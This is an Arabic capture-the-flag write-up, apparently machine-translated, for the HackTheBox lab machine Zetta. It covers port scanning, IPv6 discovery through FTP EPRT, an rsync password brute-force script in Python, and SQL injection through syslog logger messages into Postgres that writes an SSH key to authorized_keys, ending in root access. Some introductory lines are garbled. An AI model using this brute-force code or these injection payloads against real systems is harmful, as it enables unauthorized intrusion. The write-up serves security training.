أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، نتعلم عنوان خادم IPv6 باستخدام FXP ، ونعمل مع rsync ، ونكتب أيضًا مفتاح ssh باستخدام إدخال SQL عند معالجة السجلات في Postgres.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.156 ، والذي أضيفه إلى / etc / hosts.10.10.10.156 zetta.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500
بعد ذلك ، تحتاج إلى جمع المزيد من المعلومات حول المنافذ المعروفة. للقيام بذلك ، استخدم nmap مع الخيار -A.nmap -A zetta.htb -p21,22,80
نلقي نظرة على ما هو على بروتوكول نقل الملفات.
نتيجة لذلك ، تقول اللافتة أنه يمكننا الاتصال عبر IPv6. دعونا نرى ما هو موجود على خادم الويب.
نلاحظ بروتوكول FTP الأصلي مع دعم FXP. FXP هي طريقة لنقل الملفات بين خادمين FTP مباشرة ، دون تنزيلهما على جهاز الكمبيوتر الخاص بك. أثناء جلسة FXP ، يفتح العميل اتصالين FTP إلى خادمين مختلفين ، يطلب ملفًا على الخادم الأول ، يشير إلى عنوان IP للخادم الثاني في أمر PORT.
بالتمرير قليلاً ، نجد اسم المستخدم وكلمة المرور لـ FTP. وبعد إدخال بيانات الاعتماد ، قيل لنا أن هناك دعمًا لـ FXP.
ولكن إما أنه لا توجد ملفات على الخادم ، أو أنها لا تعطى لنا. ولكن نظرًا لأن هذا الخادم يدعم FXP ، يمكننا التظاهر بأننا خادم آخر ، فقد بدأ الخادم الهدف في الاتصال. وبالتالي ، سنكشف عن عنوان IPv6 الخاص به وفقًا لـ RFC 2428.
يعد ذلك ضروريًا لإجراء مزيد من المسح ، حيث قد يكون لدى المضيف خدمات تقبل اتصال IPv6 فقط. لذلك نحن بحاجة لمعرفة عنواننا.
باستخدام tcpdump ، سوف نتتبع حركة المرور التي تذهب إلى المنفذ 4321.
وباستخدام netcat ، نتصل بـ ftp ونحدد بيانات الاعتماد.nc zetta.htb 21
والآن نرسل طلب EPRT.
ونلاحظ عنوان IPv6 للمضيف الهدف.
الآن اكتبه إلى / etc / hosts بدلاً من IPv4 وافحص جميع المنافذ باستخدام nmap ، مضيفًا خيار -6.nmap -6 zetta.htb -p-
الآن نحصل على مزيد من المعلومات باستخدام الخيار -A.nmap -A -6 zetta.htb -p21,22,80,8730

نقطة الدخول
Rsync (التزامن عن بعد) هو برنامج للأنظمة الشبيهة بـ UNIX يقوم بمزامنة الملفات والأدلة في مكانين مع تقليل حركة المرور. يمكن لـ Rsync نسخ أو عرض محتويات الدليل ونسخ الملفات ، بشكل اختياري باستخدام الضغط والعودة. يقوم rsync بنقل تغييرات الملفات فقط ، مما يؤثر على أداء البرنامج. دعنا نرى قائمة الوحدات.rsync -6 --list-only rsync://zetta.htb:8730/
بعض الدلائل الهامة مفقودة من هذه القائمة. ولكن الدليل الخ متاح.rsync -6 -av rsync://zetta.htb:8730/etc/rsync*
نقرأ rsyncd.conf ، لهذا الملف على الجهاز المحلي.rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .
هناك وحدة مخفية في config - home_roy ، والتي تشير إلى دليل المستخدم الرئيسي للمستخدم ، وهي محمية بكلمة مرور من rsyncd.secrets ، ولكنها غير متاحة لنا.rsync -6 rsync://zetta.htb:8730/home_roy/

المستعمل
عندما لم يكن هناك المزيد من الأفكار ، كان علي فرز كلمة المرور. لهذا ، تم كتابة رمز Python وتم استخدام قائمة كلمات المرور من القوائم السرية.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
passwords = f.read().split('\n')
for password in passwords:
s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
clear()
clear()
print(("password: " + password).ljust(30, " "), end="\r\r")
s.recvuntil("\"Cloud sync\".\n\n\n")
if b"@ERROR:" not in s.recv():
print("found!!!")
break
s.close()
clear()
الآن بعد أن عرفنا كلمة المرور ، دعنا ننشئ مفتاح ssh ونحمله على الخادم.

ومن خلال الاتصال عبر SSH بهذا المفتاح ، نأخذ رمز المستخدم المميز.
جذر
بجانب الرمز المميز يكمن تلميح - قائمة المهام.
دعونا نفتحها.todo .tudu.xml
دعونا نرى جميع المهام المخطط لها. يستخدم الخادم بوابة.
في هذه الحالة ، يتم حفظ سجلات الأحداث في قاعدة البيانات.
وتخطط أيضًا لتغيير كلمة المرور ، والتي تبدو في الوقت الحالي وكأنها نوع معين.
أول شيء نقوم به هو الذهاب إلى git ، لأنه يمكننا أن نرى تاريخ تغييرات التكوين. البحث عن كافة دلائل .git على الخادم.
نحن مهتمون أكثر بمجلة rsyslog ، لذلك أقوم بنسخ مستودعها بالكامل إلى الجهاز المحلي.
الآن نذهب إلى الدليل مع تحميل المستودع واستخدام gitk (الواجهة الرسومية تافهة ، ولكنها مريحة).
نرى أوراق الاعتماد ، ولكن إذا استخدمناها ، فإننا نفشل. أيضا في المستودع يمكنك رؤية القالب الذي يتم بموجبه وضع السجلات في قاعدة البيانات. يتم حفظ السجلات في /var/log/postgresql/postgresql-11-main.log السجل ، والذي يمكن الوصول إليه من قبل مجموعة adm التي نحن أعضاء فيها.
نظرًا لأننا نتعامل مع قاعدة بيانات ، يمكنك تجربة الحقن. سننشئ أحداثًا للتسجيل باستخدام المسجل ، ونتتبع في الوقت نفسه في الوقت الفعلي ما يدخل إلى السجل (من أجل الراحة ، يمكنك استخدام qterminal مع نافذة مقسمة) باستخدام الساعة.watch -n 1 cat postgresql-11-main.log
وأرسل الحدث.logger -p local7.info "'"
ويحدث خطأ يشير إلى حقنة محتملة. بالنظر إلى / etc / passwd ، نجد أن مستخدم خدمة postgres لديه غلاف / bin / bash.
وبالتالي ، يمكننا تسجيل الدخول عبر ssh. سيتيح لنا هذا الوصول إلى ملف postgres ، بما في ذلك محفوظات الأوامر. دعونا نتحقق مما إذا كان بإمكاننا كتابة ملف باستخدام الحقن.logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"
غرامة. سننشئ مفتاح ssh ونكتب المفتاح العام للخادم في الدليل الرئيسي لخدمة مستخدم postgres: /var/lib/postgresql/.ssh/authorized_keys.
logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"
الآن دعنا نذهب ssh.ssh -i psg_id_rsa postgres@zetta.htb
نحن ننظر إلى تاريخ postgres.
ونجد كلمة المرور. نذكر قاعدة كلمة المرور من قائمة المهام ، ونستبدل المستخدم بالجذر ، ونقوم بتسجيل الدخول.
نحن مع حقوق كاملة!يمكنك الانضمام إلينا على Telegram . دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.